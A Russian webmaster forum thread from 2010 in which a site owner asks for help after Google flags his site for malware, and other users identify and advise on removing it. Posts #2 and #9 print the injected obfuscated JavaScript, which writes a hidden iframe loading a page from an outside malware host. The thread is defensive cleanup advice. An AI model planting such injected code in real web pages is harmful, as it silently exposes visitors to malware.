X   Сообщение сайта
(Сообщение закроется через 3 секунды)



 

Здравствуйте, гость (

| Вход | Регистрация )

2 страниц V   1 2 >
Открыть тему
Тема закрыта
> Проблема с вирусом на сайте!, нужна срочно помощь...
Alik
Alik
Topic Starter сообщение 9.9.2010, 20:35; Ответить: Alik
Сообщение #1


Здравствуйте всем! У меня огромная проблема с сайтом. Гугл жалуется на него, говорит,что вирус на сайте. Сам я проверил на вирусы сайт, не нашел ничего. Помогите,пожалуйста,решить вопрос. Это уже происходит неоднократно.
Вот сайт cartrade63.ru
1
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Man1keN
Man1keN
сообщение 9.9.2010, 20:40; Ответить: Man1keN
Сообщение #2


<script language=JavaScript>jhtm='%3Ciframe%20src%3D%22http%3A//qwertyrewq.in/tmp/iframe.php%22%20width%3D2%20height%3D2%20style%3D%22visibility%3A%20hidden%22%3E%3C/iframe%3E';crypo=unescape(jhtm);document.write(crypo);</script>

Что это?
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
rjksdfhe
rjksdfhe
сообщение 9.9.2010, 20:41; Ответить: rjksdfhe
Сообщение #3


Внимание! Посещение этого сайта может нанести вред вашему компьютеру.
Веб-сайт cartrade63.ru содержит элементы с сайта qwertyrewq.in, на котором, судя по всему, размещено вредоносное ПО – программы, которые могут нанести вред вашему компьютеру или выполнять действия без вашего согласия. Даже простое посещение сайта, на котором размещено вредоносное ПО, может привести к заражению вашего компьютера.
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
X-Natali
X-Natali
сообщение 9.9.2010, 22:36; Ответить: X-Natali
Сообщение #4


(Alik @ 9.9.2010, 19:35) *
Здравствуйте всем! У меня огромная проблема с сайтом. Гугл жалуется на него, говорит,что вирус на сайте. Сам я проверил на вирусы сайт, не нашел ничего. Помогите,пожалуйста,решить вопрос. Это уже происходит неоднократно.
Вот сайт cartrade63.ru


Вот тут антивирусная сигнализация писала о похожей ситуации. На этом сайте описаны примеры кодов которые надо искать, а также страницы - index.php, main.tpl и т.д. в которые внедряется вредоносный код.
"Это уже происходит неоднократно. " - проверяй комп на вирусы, а главное меняй пароли к админкам сайта, хоста и главное фтп - через украденный от него пароль и заражается сайт.

Вот ещё важно - В онлайн-сканирование не входят алгоритмы поведенческого анализа, доступные только в рамках услуги "антивирусная сигнализация". И в инструментах для веб-мастеров Google (аккаунт наверное есть и сайт туда добавлен?), будет адрес страницы на которой обнаружен код и сам код. Надо найти и удалить. Но стоит проверить и другие.

Сообщение отредактировал X-Natali - 9.9.2010, 22:38
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
KipiaSoft
KipiaSoft
сообщение 9.9.2010, 22:38; Ответить: KipiaSoft
Сообщение #5


Да, и не забудь права доступа на файлы index поставить 444 (0444)


--------------------
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
X-Natali
X-Natali
сообщение 9.9.2010, 22:49; Ответить: X-Natali
Сообщение #6


(KipiaSoft @ 9.9.2010, 21:38) *
Да, и не забудь права доступа на файлы index поставить 444 (0444)


Смотря на каком движке сайт. В DLE - в main.tpl и в папке engine джава скриптов могут навставлять.
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Alik
Alik
Topic Starter сообщение 9.9.2010, 22:51; Ответить: Alik
Сообщение #7


Расписали все хорошо,спасибо. Но кто может взяться за это,сделать все как нужно? за вознаграждение конечно.


(X-Natali @ 9.9.2010, 22:49) *
Смотря на каком движке сайт. В DLE - в main.tpl и в папке engine джава скриптов могут навставлять.

движок самописный.

Сообщение отредактировал Alik - 9.9.2010, 22:53
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Alexdm
Alexdm
сообщение 9.9.2010, 22:54; Ответить: Alexdm
Сообщение #8


(Alik @ 9.9.2010, 20:35) *
Здравствуйте всем! У меня огромная проблема с сайтом.

Делайте полный бекап всех файлов с расширением .js и .php, насколько я помню вирус полностью меняет их на свои или в конец дописывает свой скрипт. Ну и нужно искать слабое место, вам где то шелл заливают.   
Еще если используете Total Commander удалите его и установите с оф. сайта. Без всяких crack`ов и т.д.
P.S. мне на сайт, каждый день в течение недели, а то и больше всякие вирусы пихали, сделал все что описал выше перестали, может надоело им, ведь я через 10-15 минут максимум делал бекап, а может и действительно исправил..

Сообщение отредактировал Alexdm - 9.9.2010, 22:59


--------------------
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
X-Natali
X-Natali
сообщение 10.9.2010, 8:18; Ответить: X-Natali
Сообщение #9


(Alik @ 9.9.2010, 21:51) *
Расписали все хорошо,спасибо. Но кто может взяться за это,сделать все как нужно? за вознаграждение конечно.
движок самописный.


Как вариант тут помогут.

Если сайт был бы у них на антивирусной сигнализации три месяца (100 руб.\мес.) - очистка бесплатно - это тоже как вариант.

(Man1keN @ 9.9.2010, 19:40) *
<script language=JavaScript>jhtm='%3Ciframe%20src%3D%22http%3A//qwertyrewq.in/tmp/iframe.php%22%20width%3D2%20height%3D2%20style%3D%22visibility%3A%20hidden%22%3E%3C/iframe%3E';crypo=unescape(jhtm);document.write(crypo);</script>

Что это?


Это и есть зловредный код.
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
X-Natali
X-Natali
сообщение 11.9.2010, 9:11; Ответить: X-Natali
Сообщение #10


Список наиболее часто обнаруживаемых вирусов на сайтах.

Сообщение отредактировал X-Natali - 11.9.2010, 9:25
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
2 страниц V   1 2 >
Открыть тему
Тема закрыта
2 чел. читают эту тему (гостей: 2, скрытых пользователей: 0)
Пользователей: 0


Свернуть

> Похожие темы

  Тема Ответов Автор Просмотров Последний ответ
Горячая тема (нет новых ответов) CryptoCloud — прием USDT, BTC, ETH, LTC на любом сайте
34 CryptoCLoud 10071 18.3.2024, 16:56
автор: CryptoCLoud
Открытая тема (нет новых ответов) Странный трафик на сайте длительное время
26 TABAK 7520 16.3.2024, 17:31
автор: Boymaster
Горячая тема (нет новых ответов) Тема имеет прикрепленные файлыБыстрый и качественный обмен на сайте Baksman.org
Обмен Bitcoin, BTC-e, PM, Qiwi, Yandex money, Карты банк
51 Baksman 33208 15.3.2024, 21:14
автор: Baksman
Открытая тема (нет новых ответов) Алтуально ли заработок на сайте?
Оцение пожалуйста идею
10 hitman20 1780 1.2.2024, 5:37
автор: Liudmila
Открытая тема (нет новых ответов) Тема имеет прикрепленные файлыГотовые комплекты для создания узконишевых сайтов | (Готовые статьи, семантическое ядро) | Опубликуйте статьи на сайте и получите трафик из ПС без затрат на продвижение
8 rainbowinthedark 2818 14.7.2023, 16:08
автор: rainbowinthedark


 



RSS Текстовая версия Сейчас: 29.3.2024, 1:54
Дизайн